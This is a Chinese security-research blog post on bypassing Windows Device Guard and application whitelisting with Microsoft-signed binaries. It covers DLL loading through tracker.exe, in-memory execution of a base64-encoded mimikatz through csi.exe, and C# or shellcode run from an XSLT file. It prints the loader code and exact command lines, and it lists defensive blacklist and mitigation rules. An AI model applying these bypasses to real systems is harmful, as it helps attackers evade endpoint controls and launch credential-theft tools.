標籤:

乾貨 | 如何利用csi.exe繞過Windows Device Guard?

About:

use tracker to load dll

use csi to bypass Application Whitelisting

execute C# from XSLT file

目錄:

介紹利用tracker.exe載入dll的方法

如何利用csi.exe繞過Windows Device Guard

在XSLT文件轉換過程中執行C#代碼

0x01 use tracker to load dll

Reference:

twitter.com/subTee/stat

簡介:

Casey在Twitter分享的一個技巧,利用tracker.exe能夠創建進程,注入dll,特別的是tracker.exe來自於SDK中,包含微軟的數字簽名,本文將要分享利用該技巧的一些心得,補充一個直接利用tracker.exe載入dll的技巧

Tracker.exe:

Tracker.exe is used to start a process and inject FileTracker.dll into it just after creation.nThe file accesses of the target process are tracked, and written to a .tlog filen

常見目錄(需要安裝SDK):

C:Program Files (x86)Microsoft SDKsWindowsv8.1AbinNETFX 4.5.1 ToolsnC:Program Files (x86)Microsoft SDKsWindowsv10.0AbinNETFX 4.6.1 Toolsx64n

語法:

Tracker.exe [選項] [@跟蹤器響應文件] /c [命令行]n /d 文件.dll : 使用跟蹤 dll 文件.dll 啟動進程。(默認值: 通過 PATH 提供的 FileTracker.dll)n /i[f] <路徑> : 用於跟蹤日誌輸出的中間目錄。(使用 /if 可立即將路徑展開為完整路徑)(默認值: 所跟蹤進程中的當前目錄)n /o : 對每個文件執行跟蹤操作n /m : 在跟蹤日誌中包含缺少的文件,即在進程關閉之前刪除的那些文件n /u : 不從跟蹤日誌中刪除重複的文件操作n /t : 跟蹤命令行(將展開使用「@文件名」語法指定的響應文件)n /a : 啟用擴展跟蹤: GetFileAttributes、GetFileAttributesExn /e : 啟用擴展跟蹤: GetFileAttributes、GetFileAttributesEx、RemoveDirectory、CreateDirectoryn /k : 在跟蹤日誌文件名中保留完整的工具鏈n /r 文件 1;文件 2;..;文件 n : 正在跟蹤的主要根輸入文件(默認值: 無)n /c [命令行] : 要跟蹤的命令(必須是最後一個參數)n /? : 本幫助文本n

實際測試:

cmd下運行:

Tracker.exe /d test.dll /c cmd.exen

如圖,成功載入test.dll

test.dll為默認包含導出函數的dll就好,示例代碼如下:

#include "stdafx.h"n#include <windows.h>nBOOL APIENTRY DllMain( HMODULE hModule,n DWORD ul_reason_for_call,n LPVOID lpReservedn )n{n switch (ul_reason_for_call)n {n case DLL_PROCESS_ATTACH:n MessageBox(NULL,L"testexport", L"testexport",MB_OK);n case DLL_THREAD_ATTACH:n case DLL_THREAD_DETACH:n case DLL_PROCESS_DETACH:n break;n }n return TRUE;n}n

分析:

這個技巧有如下特點:

tracker.exe包含微軟數字簽名,可繞過應用程序白名單的限制ntracker.exe可以在啟動進程的同時載入dlln

但是如果只想通過tracker.exe載入dll的話,存在以下問題:

選擇不存在或是許可權不夠的進程,無法載入dll

但是,可以通過一個特殊的進程來解決這個問題,如svchost.exe,那麼在載入dll後,進程svchost.exe可以自動退出,這就實現了通過tracker.exe載入dll

防禦:

對tracker.exe添加黑名單規則

0x02 use csi to bypass Application Whitelisting

Reference:

subt0x10.blogspot.com/2

簡介:

同樣是利用帶有微軟簽名的exe繞過白名單的技巧,Matt Graeber曾介紹過如何利用cdb.exe繞過Windows Device Guard,Casey這次介紹的是使用C#相關的csi.exe繞過Windows Device Guard的技巧,本文將分享這個技巧的研究心得,並完成Casey在博客中留給讀者的作業——在win10未安裝VS2015的環境下如何使用csi.exe

csi.exe:

在Visual Studio 2015 Update 1引入

安裝後位置在C:Program Files (x86)MSBuild14.0Bin

實際測試:

測試系統:

Win10 安裝Visual Studio 2015

1.在csi編譯環境中直接執行代碼

直接運行csi.exe會進入編譯環境,可在裡面直接填入代碼並運行

如圖

測試Casey在文章中的代碼,從文件中讀取base64加密過的mimikatz.exe,解密執行,代碼如下:

using System;nusing System.Reflection;nstring s = System.IO.File.ReadAllText(@"c:testkatz.txt");nbyte[] b = System.Convert.FromBase64String(s);nAssembly a = Assembly.Load(b);nMethodInfo method = a.EntryPoint;nobject o = a.CreateInstance(method.Name);nmethod.Invoke(o, null);n

mimikatz.exe作base64加密後保存的文件katz.txt已上傳,地址為: raw.githubusercontent.com

測試如圖,成功解密並執行mimikatz.exe

2.執行.csx文件中的代碼

將上述測試代碼寫在katz.csx文件中

csi編譯環境下運行:

#load "c:testkatz.csx"n

注:

文件路徑必須包含雙引號,load前綴#

測試如圖,成功執行

3.在cmd下運行

可在cmd下csi.exe後面直接加.csx文件的路徑

例如:

"C:Program Files (x86)MSBuild14.0Bincsi.exe" c:testkatz.csxn

測試如圖,成功執行

當然,在Win10上面不是必須安裝vs2015才能使用csi.exe,這也是Casey留給讀者的作業,找到csi.exe使用需要的依賴項

我已經完成了這個作業,依賴項文件最少需要6.77MB,可在csi.exe的同級目錄C:Program Files (x86)MSBuild14.0Bin下找到,將csi.exe及其依賴性上傳到Win10系統即可直接使用

依賴項文件列表如下:

Microsoft.CodeAnalysis.CSharp.dllnMicrosoft.CodeAnalysis.CSharp.Scripting.dllnMicrosoft.CodeAnalysis.dllnMicrosoft.CodeAnalysis.Scripting.dllnSystem.AppContext.dllnSystem.Collections.Immutable.dllnSystem.IO.FileSystem.dllnSystem.IO.FileSystem.Primitives.dllnSystem.Reflection.Metadata.dlln

補充:

該方法只用於Win10

防禦:

Matt Graeber分享了他的應對方法,更新了Device Guard Bypass MitigationRules,地址如下:

twitter.com/mattifestat

mattifestation/DeviceGuardBypassMitigationRules

0x03 execute C# from XSLT file

Reference:

twitter.com/subTee/stat

POC地址:

gist.github.com/subTee/

簡介:

Casey在Twitter分享了一個有意思的技巧,在XSLT文件轉換的過程中執行C#代碼,本節將分享這個技巧的心得,並擴充POC,結合之前的經驗,實現通過XSLT文件執行shellcode

XSLT:

XSLT是extensible stylesheet language transformation(擴展樣式錶轉換語言)的縮寫

用於將XML文檔轉換成以下一種格式:

HTMLnXMLnXHTMLnXSLTn文本n

在轉換操作的過程中,可以執行c#或VB代碼,同VisualStudio Persistence中在編譯過程執行代碼類似

XSLT在web前端中用的比較多

實際測試:

將calc.xslt,example.xml,script.ps1三個文件放於同級目錄,設置script.ps1中的路徑變數$path

執行script.ps1,生成output.xml,彈出計算器,如圖

參考如下鏈接可獲得編寫XSLT的更多提示: Script Blocks Using msxsl:script

於是基於之前的研究,實現了通過XSLT調用C#執行shellcode,地址如下:

3gstudent/Execute-CSharp-From-XSLT-TEST

注:主要是修改了calc.xslt文件

本文為3gstudent原創稿件,授權嘶吼獨家發布,未經許可禁止轉載

推薦閱讀:

TAG:技术分析 |